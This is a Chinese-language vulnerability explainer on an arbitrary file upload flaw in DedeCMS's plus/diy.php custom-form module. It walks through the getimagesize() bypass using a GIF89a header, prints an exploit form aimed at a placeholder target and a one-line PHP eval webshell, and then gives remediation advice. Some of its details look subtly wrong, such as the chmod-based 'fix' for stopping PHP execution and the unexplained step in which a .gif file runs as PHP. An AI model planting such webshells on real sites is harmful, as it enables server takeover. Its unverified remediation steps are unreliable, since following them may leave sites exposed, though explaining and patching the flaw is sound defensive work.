这个漏洞通常被称为 “DedeCMS Plus 任意文件上传漏洞”,是过去十多年里影响最广、利用最简单的 DedeCMS 漏洞之一。
漏洞概述
- 漏洞名称: DedeCMS Plus 任意文件上传漏洞
- 影响版本: DedeCMS 5.7 SP1 及之前的版本(特别是开启了 Plus 模块的版本)
- 漏洞类型: 任意文件上传
- 危害等级: 高危 (可以导致服务器被完全控制)
- CVSS 评分: 通常在 9.0-10.0 之间,属于严重级别。
漏洞成因分析
这个漏洞的根本原因在于 DedeCMS 的 Plus 模块对上传文件的后缀名和内容校验存在严重缺陷。
a. 核心文件与入口
漏洞的入口点通常是 plus/diy.php 文件,这个文件是 DedeCMS 的一个“自定义表单”功能,允许网站管理员在前台页面创建表单并收集用户提交的数据。
b. 漏洞利用流程
攻击者正是利用了这个“自定义表单”功能,将其伪装成一个文件上传的入口。
-
访问并提交恶意数据: 攻击者会直接访问
plus/diy.php,并向其提交一个精心构造的 POST 请求,这个请求中包含一个恶意的 PHP 文件内容,并且通常会把文件内容伪装成表单的一个字段。 -
绕过后缀名校验:
- 在
diy.php中,代码会处理上传的文件,它的校验逻辑非常简单,甚至存在绕过方式。 - 它可能会检查文件扩展名是否在白名单中(如
.jpg,.png,.gif),但攻击者可以通过构造一个同时包含图片数据和 PHP 代码的“图片马”(shell.jpg里面包含 PHP 代码)来绕过。 - 更关键的是,在旧版本的 DedeCMS 中,这个校验逻辑存在缺陷,可以被轻易绕过。
- 在
-
校验 (关键步骤):
- 为了防止上传可执行文件,DedeCMS 会尝试检查文件内容,通常会通过
getimagesize()函数来验证文件是否为合法的图片。 getimagesize()函数的作用是获取图片尺寸信息,如果文件不是有效的图片格式(如 JPEG, PNG, GIF),它会返回FALSE。- 漏洞点在于: DedeCMS 的代码逻辑是 “
getimagesize()返回FALSE,则文件是无效的,拒绝上传”。 - 攻击者利用点: 攻击者会构造一个文件,其开头部分包含一个有效的图片文件头(一个 GIF 文件头
GIF89a),紧接着就是恶意的 PHP 代码。 - 当
getimagesize()检查这个文件时,因为它有合法的 GIF 文件头,所以会成功返回图片的尺寸信息(array(100, 100, 1, ...)),而不是FALSE。 - 这样,DedeCMS 的校验逻辑就会认为这是一个合法的 GIF 图片,从而放行上传。
- 为了防止上传可执行文件,DedeCMS 会尝试检查文件内容,通常会通过
-
文件被保存到服务器:
- 通过校验后,这个包含恶意 PHP 代码的“图片马”就会被保存到服务器上的一个可访问目录中,通常是
/uploads/目录下的某个子目录。 - 攻击者可以通过分析代码或暴力猜测,得到这个上传文件的最终 URL 地址。
- 通过校验后,这个包含恶意 PHP 代码的“图片马”就会被保存到服务器上的一个可访问目录中,通常是
-
远程执行代码:
- 攻击者通过浏览器访问这个被上传的恶意文件 URL。
- 由于文件内容被服务器当作 PHP 代码来解析(尽管它伪装成图片),其中的恶意代码(
eval($_POST['cmd']);)就会被执行。 - 这样,攻击者就获得了服务器的 webshell(网页后门),可以执行任意命令,如读取、修改、删除网站文件,甚至控制整个服务器。
漏洞利用代码示例(概念性)
这只是一个概念性的请求示例,展示了攻击者是如何构造数据的:
<!-- 攻击者构造一个 HTML 表单,指向目标网站的 plus/diy.php -->
<form action="http://target-site.com/plus/diy.php" method="POST" enctype="multipart/form-data">
<!-- 这个字段名 'data' 是关键,diy.php 会处理它 -->
<input type="hidden" name="action" value="post">
<input type="hidden" name="diyid" value="1">
<input type="hidden" name="do" value="2">
<!-- 这是真正的“文件”,内容是 GIF 头 + PHP 代码 -->
<input type="file" name="data" value="shell.gif">
<!-- 其他一些迷惑性的表单字段 -->
<input type="text" name="name" value="attacker">
<input type="text" name="email" value="attacker@example.com">
<input type="submit" value="Submit">
</form>
shell.gif 文件的内容是:
GIF89a // <-- 合法的 GIF 文件头,用于通过 getimagesize() 检查
<?php eval($_POST['cmd']); ?> // <-- 恶意的 PHP 代码
漏洞修复方案
如果你还在使用受影响的旧版本 DedeCMS,强烈建议立即采取以下措施:
临时修复方案(紧急情况)
-
禁用 Plus 模块: 最简单粗暴的方法,如果你不需要使用“自定义表单”功能,直接删除或重命名
plus/diy.php文件。mv /path/to/your/website/plus/diy.php /path/to/your/website/plus/diy.php.bak
-
修改上传目录权限: 将
uploads目录及其子目录的执行权限去掉,使其无法执行 PHP 文件。# Linux/Unix 系统下 find /path/to/your/website/uploads -type d -exec chmod 755 {} \; find /path/to/your/website/uploads -type f -exec chmod 644 {} \;注意:此方法可能影响网站正常上传功能,且需谨慎操作。
根本修复方案(推荐)
- 升级到最新版本: 这是最推荐的修复方法,DedeCMS 官方在新版本中已经修复了此漏洞,请务必从官方渠道下载并升级到最新的稳定版本。
- 手动修复代码(如果无法升级):
- 打开
plus/diy.php文件。 - 找到处理文件上传的代码段。
- 加强后缀名校验: 确保只允许上传绝对安全的文件类型,如
.jpg,.jpeg,.png,.gif,并且要对文件名进行过滤,防止.php.jpg这样的绕过。 - 校验: 除了使用
getimagesize(),还应该使用exif_imagetype()或finfo等更可靠的函数来验证文件类型,检查文件内容中是否包含可疑的字符串(如<?php,eval,base64_decode等)。 - 重命名上传文件: 将上传的文件进行随机重命名,并严格保留其原始后缀名,不要让用户可控的部分影响文件名。
- 打开
防御建议
- 及时更新: 保持系统和所有软件(尤其是 CMS)为最新版本,这是防御已知漏洞最有效的方法。
- 最小化权限: 确保 Web 服务器(如 Apache/Nginx)运行的用户(如
www-data,nginx)权限尽可能低,避免其能够修改系统关键文件。 - 文件上传策略: 对所有文件上传功能实施严格的策略,包括:
- 严格的白名单后缀名校验。
- 服务器端的内容校验,而不仅仅是客户端的校验。
- 将上传的文件存储在非 Web 根目录,或者通过一个独立的脚本来提供访问,并再次校验文件类型。
- Web 应用防火墙: 部署 WAF(如 ModSecurity)可以拦截大部分已知的攻击请求,包括针对此漏洞的利用尝试。
- 定期安全审计: 定期对网站进行安全扫描和代码审计,及时发现潜在的风险。
DedeCMS Plus 任意文件上传漏洞是一个经典的“校验逻辑不严”导致的漏洞,它利用了开发者对 getimagesize() 函数的错误理解,绕过了双重校验,虽然这个漏洞已经很“老”,但由于仍有大量老旧的 DedeCMS 网站在运行,它至今仍是黑客攻击的重点目标,对于管理员来说,升级到最新版本是解决此问题的根本之道。
